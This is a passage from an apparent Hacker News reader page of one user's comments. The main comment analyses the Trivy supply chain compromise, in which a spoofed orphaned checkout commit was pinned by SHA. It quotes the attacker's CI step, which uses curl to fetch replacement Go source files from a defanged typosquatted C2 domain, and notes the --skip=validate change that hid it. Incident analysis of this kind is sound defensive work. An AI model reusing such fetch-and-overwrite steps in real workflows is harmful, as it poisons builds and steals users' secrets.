Recent submissions

Comment · 23 days ago
In my limited free time, I enjoy maintaining community Terraform modules. Digging through the Terraform Registry documentation and switching between the browser and terminal can be tedious, so I built tfrd to compare the resources in a Terraform configuration with the provider schema and report unused attributes and parameters. As a community contributor, I want my modules to reflect the full range of functionality providers support, and this tool helps me find gaps.
Comment · 7 months ago
A few days ago I wrote about how the Trivy ecosystem got turned into a credential stealer. One of my takeaways was “pin by SHA.” Every supply chain security guide says it, I’ve said it, every subreddit says it, and the GitHub Actions hardening docs say it.

The Trivy attack proved it wrong, and I think we need to talk about why.

Comment · 7 months ago
So this is how Trivy got turned into a supply chain attack nightmare. On March 4, commit 1885610c landed in aquasecurity/trivy with the message fix(ci): Use correct checkout pinning, attributed to DmitriyLewen (who's a legit maintainer). The diff touched two workflow files across 14 lines, and most of it was noise like single quotes swapped for double quotes, a trailing space removed from a mkdir line. It was the kind of commit that passes review because there's nothing to review.

Two lines mattered. The first swapped the actions/checkout SHA in the release workflow:

The # v6.0.2 comment stayed. The SHA changed. The second added --skip=validate to the GoReleaser invocation, telling it not to run integrity checks on the build artifacts.

The payload lived at the other end of that SHA. Commit 70379aad sits in the actions/checkout repository as an orphaned commit (someone forked and created a commit with the malicious code). GitHub's architecture makes fork commits reachable by SHA from the parent repo (which makes me rethink SHA pinning being the answer to all our problems). The author is listed as Guillermo Rauch [[email protected]] (spoofed, again), the commit message references PR #2356 (a real, closed pull request by a GitHub employee), and the commit is unsigned. Everything about it is designed to look routine if you only glance at the metadata.

The diff replaced action.yml's Node.js entrypoint with a composite action. The composite action performs a legitimate checkout via the parent commit, then silently overwrites the Trivy source tree:

- name: "Setup Checkout" shell: bash run: | BASE="https://scan.aquasecurtiy[.]org/static" # This is the actual bad guy's domain btw curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null curl -sf "$BASE/fork_unix.go" -o cmd/trivy/fork_unix.go &> /dev/null curl -sf "$BASE/fork_windows.go" -o cmd/trivy/fork_windows.go &> /dev/null curl -sf "$BASE/.golangci.yaml" -o .golangci.yaml &> /dev/null Four Go files pulled from the same typosquatted C2 and dropped into cmd/trivy/, replacing the legitimate source. A fifth download replaced .golangci.yaml to disable linter rules that would have flagged the injected code. The C2 is no longer serving these files, so the exact contents can't be independently verified, but the file names and Wiz's behavioral analysis of the compiled binary tell the story: main.go bootstrapped the malware before the real scanner, scand.go carried the credential-stealing logic, and fork_unix.go/fork_windows.go handled platform-specific persistence.

When GoReleaser ran with validation skipped, it built binaries from this poisoned source and published them as v0.69.4 through Trivy's own release infrastructure. No runtime download, no shell script, no base64. The malware was compiled in.

This is wild stuff. I wrote a blog with more details if anyone's curious

Comment · 7 months ago
On March 19, 2026, someone (or some group) poisoned the Aqua Security Trivy ecosystem. A tool that thousands of organizations rely on to find vulnerabilities in their container images and configurations was quietly turned into a weapon that stole their secrets instead. I spent some time pulling apart the malicious code and cross-referencing findings from Wiz’s analysis, and figured the walkthrough was worth sharing. Here’s how it happened (and how a majority of the tech industry ignored the compromise because it was a Friday).
Comment · 9 months ago
Imagine that Patrick Swayze is writing an SDK. He’s haunted by memories of ripping out a man’s throat for a nil pointer deference. To recoop, he sits down in his home office and begins writing a function to issue a new HTTP request to the API, applying authentication and common headers. Before he even writes the NewRequest logic, he introduces the Roadhouse pattern. The idea is that he wants to fail fast before any work begins, return specific sentinel errors so he knows where it all went wrong, and declare invariants where the guard clauses ARE the documentation for what to accept. Take a look at this function:

Live from the official Hacker News API

A modern reader for Hacker News · SvelteKit + Skeleton